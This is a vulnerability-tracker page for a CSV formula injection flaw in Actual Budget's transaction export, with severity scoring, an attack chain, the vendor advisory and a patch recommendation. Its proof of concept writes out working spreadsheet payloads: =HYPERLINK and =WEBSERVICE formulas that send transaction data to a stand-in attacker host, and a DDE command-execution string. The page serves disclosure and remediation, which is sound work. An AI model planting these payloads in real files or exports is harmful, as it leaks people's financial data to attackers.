Skip to main content

Actual Budget CVE-2026-50179

MEDIUM
Improper Neutralization of Formula Elements in a CSV File (CWE-1236)
2026-06-22 https://github.com/actualbudget/actual GHSA-xqjm-27pc-rvwm
4.2
CVSS 3.1 · Vendor: https://github.com/actualbudget/actual
View

Attack ChainAIDerived

Hypothetical attack flow derived from CVE metadata – not a confirmed exploit chain

  1. Recon
    Deliver malicious CSV/OFX file with formula payee strings
  2. Delivery
    Victim imports file via Account
  3. Exploit
    Import
  4. Install
    Formula strings persist verbatim to payees table
  5. C2
    Victim exports transactions to CSV via Account
  6. Execute
    Export
  7. Impact
    Victim or third-party recipient opens CSV in Excel/LibreOffice/Sheets
  8. Step 8
    =HYPERLINK or =WEBSERVICE formula fires and exfiltrates transaction data to attacker-controlled URL

Vulnerability Assessment

Weakness
CWE
ASVS 5.0
V1 - Encoding and Sanitization CSV injection prevention
Exploitation Conditions

Exploitation requires three sequential victim-driven steps, all of which must occur: (1) The victim must import a file or accept transaction data from an attacker-controlled source. Valid attack vectors include delivering a malicious CSV, OFX, QIF, or CAMT file for the victim to import via Account → Import file, or - for shared budget deployments - a collaborator with write access planting the payload directly via the Actual Budget UI or the @actual-app/api payee/transaction CRUD endpoints without any file delivery. (2) The victim must subsequently export transactions from the same account via Account → Export, triggering exportQueryToCSV at export-to-csv.ts:131. (3) The victim or a downstream recipient must open the exported CSV file in a spreadsheet application (Excel, LibreOffice Calc, or Google Sheets). The CVSS UI:R captures this requirement. Additionally, the most impactful exfiltration payload (=HYPERLINK) requires the spreadsheet user to click the rendered link cell; =WEBSERVICE and =IMPORTXML fire automatically in LibreOffice/Sheets but may be blocked by macro settings. DDE-based code execution (=cmd|...) is further limited to Excel installations with DDE explicitly re-enabled, as modern Excel disables it by default.

Impact

The NVD CVSS score of 4.2 (AV:N/AC:H/PR:N/UI:R/S:U/C:L/I:L/A:N) accurately reflects the multi-step victim dependency - an attacker cannot directly trigger the impact without the victim performing import, then export, then opening the file in a spreadsheet application. However, the raw CVSS score understates real-world risk in several dimensions: shared-budget deployments allow an attacker with write access to silently plant payloads via API without any suspicious file delivery, the =HYPERLINK exfiltration variant works universally in modern Excel and Google Sheets without any security prompt or user override, and exported transaction data is routinely shared with third parties who are entirely unaware of the original import source. EPSS data is not provided in the available intelligence; exploitation probability must be inferred from the fully functional, publicly documented PoC. No CISA KEV listing exists, so active exploitation is not confirmed. The DDE-based RCE pathway (legacy =cmd|...) is substantially narrowed by modern Excel's default DDE-disabled setting but remains a concern on unpatched or misconfigured installations. The signal discrepancy between a moderate CVSS score and a working PoC covering multiple exfiltration techniques warrants elevated attention for organizations that share Actual Budget exports externally.

Exploit ScenarioDerived

An attacker crafts a malicious OFX bank statement with a payee field containing =HYPERLINK("http://attacker.evil/leak?d="&B2&C2,"Bank refund details") and emails it to a victim as a seemingly legitimate transaction file for import. The victim imports it through Actual Budget's Account → Import file workflow, persisting the formula string to the payees table verbatim; when the victim later exports transactions for tax filing or sharing with an accountant, the exported CSV contains the raw formula. The accountant opens the file in Excel or Google Sheets, sees an innocuous-looking "Bank refund details" hyperlink in the Payee column, clicks it, and unknowingly sends the victim's transaction amounts and account identifiers to the attacker's server - a working PoC for this exact scenario is publicly documented in GHSA-xqjm-27pc-rvwm.

This Month Plan within 30 days. Why: MEDIUM severity (CVSS 4.0-6.9).
Patch available 0.3% exploitation probability (EPSS)

Get an e-mail when this CVE is exploited, patched or re-scored. Free account.

Alert me

AnalysisAIv1 – Jun 23, 2026

CSV formula injection in Actual Budget's transaction export functions allows an attacker who controls imported transaction data to embed spreadsheet formulas in Payee, Notes, Account, and Category fields, which survive verbatim into exported CSV files. Affected versions of @actual-app/web prior to 26.6.0 pass these fields to csv-stringify at export-to-csv.ts:56 and :131 without any formula-prefix neutralization, meaning strings beginning with =, +, -, @, tab, or carriage return are written raw to disk. When victims or downstream recipients (accountants, tax preparers) open the exported file in Excel, LibreOffice Calc, or Google Sheets, the =HYPERLINK variant silently exfiltrates adjacent transaction data on click with no security prompt, while =WEBSERVICE and =IMPORTXML auto-fire in some configurations; a fully working PoC is documented in GHSA-xqjm-27pc-rvwm and no KEV listing exists at time of analysis.

RemediationAI

Upgrade @actual-app/web to version 26.6.0 or later, which is the vendor-released patch confirming neutralization of formula-trigger characters (see https://github.com/actualbudget/actual/security/advisories/GHSA-xqjm-27pc-rvwm). If immediate upgrade is not possible, add a cast.string callback to both csvStringify calls in export-to-csv.ts at lines 56 and 131 that prefixes any string beginning with =, +, -, @, tab, or carriage return with a single quote character, following the OWASP CSV injection neutralization standard - note that this single-quote prefix is visible to spreadsheet users reading the raw cell and may require user education. As defense in depth, the advisory recommends also stripping or neutralizing formula-trigger prefixes at import time in parse-file.ts for payee_name and notes fields, so that formula-shaped strings never persist to the database; this protects any future export consumers and API integrations but may silently alter data fidelity for edge-case legitimate payee names beginning with these characters.

Affected Packages

npm @actual-app/web fix: 26.6.0

Source: OSV (Open Source Vulnerabilities)

Affects your stack

Affects 1 package in npm

Checking this CVE against your own stacks and servers is part of the Basic plan and up.

Technical ContextAI · show details

The root cause is CWE-1236 (Improper Neutralization of Formula Elements in a CSV File). The vulnerable sink is the csvStringify call in packages/loot-core/src/server/transactions/export/export-to-csv.ts at lines 56 and 131, where csv-stringify v6 is invoked with only { header: true } and no cast callback - the library performs only quote, comma, and CRLF escaping by default, leaving formula-trigger characters (=, +, -, @, \t, \r) intact. The affected npm package is pkg:npm/@actual-app/web. Attacker-controlled strings reach the sink through four import parsers (parseCSV, parseOFX, parseQIF, parseCAMT in parse-file.ts:77) that do not strip formula prefixes, through OFX normalization in ofx2json.ts that only applies HTML entity decoding, through sync.normalizeTransactions which preserves non-letter prefix characters, and through direct UI or @actual-app/api write endpoints on shared budgets. Because Excel formula evaluation is case-insensitive, the title-casing applied by normalizeTransactions does not prevent formula execution.

Know when the next one hits your stack

  • Watch products and get an email when something new is published
  • Check this CVE against your own stack and servers
  • Exploit and PoC references, threat intelligence from 22 sources

No credit card · 7-day full trial

Severity by source

Vendor (https://github.com/actualbudget/actual) PRIMARY 4.2 MEDIUM
AV:N/AC:H/PR:N/UI:R/S:U/C:L/I:L/A:N
vuln.today AI 4.2 MEDIUM

Multi-step victim-dependent chain (AC:H, UI:R) with network-delivered payload requiring no application privileges (PR:N); no availability impact applies.

3.1 AV:N/AC:H/PR:N/UI:R/S:U/C:L/I:L/A:N
4.0 AV:N/AC:L/AT:P/PR:N/UI:A/VC:L/VI:L/VA:N/SC:N/SI:N/SA:N

Primary rating from Vendor (https://github.com/actualbudget/actual).

CVSS VectorVendor: https://github.com/actualbudget/actual

Attack Vector
Network
Attack Complexity
High
Privileges Required
None
User Interaction
Required
Scope
Unchanged
Confidentiality
Low
Integrity
Low
Availability
None

DescriptionCVE.org

Summary

exportToCSV and exportQueryToCSV in packages/loot-core/src/server/transactions/export/export-to-csv.ts pass user-controlled Payee, Notes, Account, and Category strings to csv-stringify with no cast callback and no formula-prefix neutralization. Strings that begin with =, +, -, @, tab, or carriage return survive verbatim into the exported CSV. When the victim (or anyone they share the export with) opens the file in Excel, LibreOffice Calc, or Google Sheets, the strings are interpreted as formulas. =HYPERLINK("http://attacker/?leak="&B2,"Bank refund") is the most reliable variant: it renders as a clickable link with benign text and exfiltrates adjacent cells (transaction amount, account name, payee, balance) on click, with no security prompt in modern Excel/Sheets. =WEBSERVICE/=IMPORTXML provide auto-firing exfil in some configurations; legacy DDE may achieve RCE on older Excel.

Details

Sink - packages/loot-core/src/server/transactions/export/export-to-csv.ts:56:

ts
return csvStringify(transactionsForExport, { header: true });

and the same call again at export-to-csv.ts:131 for exportQueryToCSV. csv-stringify v6 does not neutralize formula-trigger characters by default; only quote/comma/CRLF escaping is applied. There is no shared wrapper - grep for csvStringify finds exactly one source file across the monorepo.

Source of attacker-controlled Payee/Notes:

  • packages/loot-core/src/server/transactions/import/parse-file.ts:77 dispatches uploaded files to parseCSV (:109), parseOFX (:200), parseQIF (:158), parseCAMT (:250). None of them strip or escape formula prefixes from payee_name/imported_payee/notes.
  • For OFX, mapOfxTransaction in packages/loot-core/src/server/transactions/import/ofx2json.ts only runs html2Plain (HTML entity decoding) on the NAME field - =, +, -, @, \t are untouched.
  • sync.normalizeTransactions (packages/loot-core/src/server/transactions/sync.ts) applies title() casing, which only mutates letters via String.toLowerCase; non-letter prefix characters are preserved, and Excel formulas are case-insensitive (=hyperlink(...) parses identically to =HYPERLINK(...)).
  • The payee can also be entered directly through the UI or set via the @actual-app/api's payee/transaction CRUD endpoints - anyone with write access to a shared budget can plant the payload.

Verification that csv-stringify does not neutralize formulas:

$ node -e "const{stringify}=require('csv-stringify/sync');console.log(stringify([{Payee:'=HYPERLINK(\"http://x/?\"&B2,\"refund\")'}],{header:true}))"
Payee
"=HYPERLINK(""http://x/?""&B2,""refund"")"

The double-quote escaping is intact, but the leading = is not prefixed with ' or otherwise neutralized - Excel, LibreOffice Calc, and Google Sheets will all evaluate this as a formula on open.

PoC

  1. Attacker delivers a malicious file the victim is willing to import (fake bank OFX statement, shared budget file, expense-tracking CSV from a collaborator). Example malicious CSV the victim drops into "Import file":
Date,Payee,Amount
2026-01-01,"=HYPERLINK(""http://attacker.evil/leak?d=""&B2&C2,""Bank refund details"")",100.00
2026-01-02,"@SUM(1+1)*cmd|'/c calc'!A0",50.00
2026-01-03,"+1+1",-25.00
2026-01-04,"=WEBSERVICE(""http://attacker.evil/?d=""&B2)",10.00
  1. Victim imports through Account → Import file. parseFile (parse-file.ts:77) → parseCSV/parseOFX/parseQIF/parseCAMT returns rows with the formula strings preserved as payee_name. sync.normalizeTransactions does not strip the prefix characters.
  2. Payees are persisted into the payees table verbatim.
  3. Some time later the victim runs Account → menu → Export. transactions-export-query invokes exportQueryToCSV (export-to-csv.ts:131).
  4. The exported file looks like (verified output shape from csvStringify):
Account,Date,Payee,Notes,Category_Group,Category,Amount,Split_Amount,Cleared
Checking,2026-01-01,"=HYPERLINK(""http://attacker.evil/leak?d=""&B2&C2,""Bank refund details"")",,,,100.00,0,Not cleared
Checking,2026-01-02,@SUM(1+1)*cmd|'/c calc'!A0,,,,50.00,0,Not cleared
Checking,2026-01-03,+1+1,,,,-25.00,0,Not cleared
Checking,2026-01-04,"=WEBSERVICE(""http://attacker.evil/?d=""&B2)",,,,10.00,0,Not cleared
  1. Victim or downstream recipient (accountant, spouse, tax preparer) opens the CSV in Excel/LibreOffice/Sheets. =HYPERLINK(...) renders as a clickable link that exfiltrates adjacent cell values to attacker on click; =WEBSERVICE/=IMPORTXML (Sheets/LibreOffice) fire automatically; legacy =cmd|... DDE may execute on unpatched Excel.

Impact

  • Confidentiality: Adjacent transaction data (amounts, account names, balances, payees, categories) can be exfiltrated to attacker-controlled URLs through =HYPERLINK clicks or auto-firing =WEBSERVICE/=IMPORTXML.
  • Integrity: Spreadsheet recipients (accountants, tax preparers) see attacker-chosen display values where they expected raw payee names, enabling fraud (e.g., forged "Refund" line items linking to phishing).
  • Reach: Exports from Actual Budget are commonly shared with third parties (accountants, tax software, household members). One malicious imported statement contaminates every future export of that budget.
  • Note on AC:H: requires victim-driven import → export → spreadsheet open. Modern Excel disables DDE by default, narrowing the RCE pathway, but =HYPERLINK exfil is universal and silent.

Recommended Fix

Pass a cast.string callback to csv-stringify that prefixes any formula-trigger string with a single quote, the OWASP-recommended neutralization. Apply at both call sites in packages/loot-core/src/server/transactions/export/export-to-csv.ts:

ts
import { stringify as csvStringify } from 'csv-stringify/sync';

const FORMULA_PREFIX = /^[=+\-@\t\r]/;

function neutralizeFormula(value: string): string {
  return FORMULA_PREFIX.test(value) ? `'${value}` : value;
}

const csvOptions = {
  header: true,
  cast: {
    string: (value: string) => neutralizeFormula(value),
  },
} as const;

// export-to-csv.ts:56
return csvStringify(transactionsForExport, csvOptions);

// export-to-csv.ts:131
return csvStringify(transactionsForExport, csvOptions);

Alternative defenses to consider in addition:

  • Strip/neutralize formula prefixes on import in parse-file.ts for payee_name/notes so the database never contains formula-shaped strings (defense in depth - protects any future export consumers).
  • Add a regression unit test that asserts every CSV cell starting with =, +, -, @, \t, or \r is prefixed with '.

Blast Radius

ecosystem impact
† from your stack dependencies † transitive graph · vuln.today resolves 4-path depth
  • 1 npm packages depend on @actual-app/web (1 direct, 0 indirect)

Ecosystem-wide dependent count for version 26.6.0.

Threat Intelligence Overview

EPSS Score
0.3%
Top 80% exploitable
Prevalence
Low
niche open-source personal finance app, limited enterprise footprint
Threat Intel
1
1 source
Social Media
1
Sightings
Data Quality
4 sources
Confidence: Medium

How this decision was reached

The engine reads each signal below and applies a fixed list of rules from top to bottom. The first rule that matches sets the recommended action – like a statement, every line is shown.

SignalValue
Severity MEDIUM
CISA KEV No
Public POC No
EPSS 0.3%
Patch available Yes
Active threat No
Deciding rule
MEDIUM severity (CVSS 4.0-6.9)
What every action level means
Emergency Immediate action required. Criteria: CRITICAL + in CISA KEV (actively exploited) without patch, OR CRITICAL + EPSS > 30% without patch, OR CRITICAL + active threat signals without patch.
Act Now Prioritize within 24-48h. Criteria: in KEV with patch available, OR CRITICAL + public POC, OR HIGH + EPSS > 10%, OR CRITICAL + active threat, OR any CRITICAL severity.
This Week Schedule remediation this week. Criteria: HIGH severity (CVSS 7.0-8.9). Patch within normal change window.
This Month Plan within 30 days. Criteria: MEDIUM severity (CVSS 4.0-6.9), lower exploitation probability. Include in regular patch cycle.
Monitor Track and reassess. Criteria: LOW severity (CVSS 0.1-3.9), minimal exploitation risk. No immediate action needed.

SSVC AssessmentENISA

SSVC Decision· derived
Scheduled
Exploitation· derived
None
System Exposure· derived
Open
Automatable· derived
No
Human Impact· derived
Medium

Priority Score

21
Low Medium High Critical
KEV: 0
EPSS: 0
CVSS: +21
PoC: 0
Weaponized: 0
Threat intel: 0
Gov advisory: 0

Attack Technique

Information disclosure occurs when an application unintentionally exposes sensitive data that aids attackers in reconnaissance or directly compromises security.

Affected Products (CPE)CVE.org

pkg:npm/@actual-app_web

This site uses cookies essential for authentication and security. No tracking or analytics cookies are used. Privacy Policy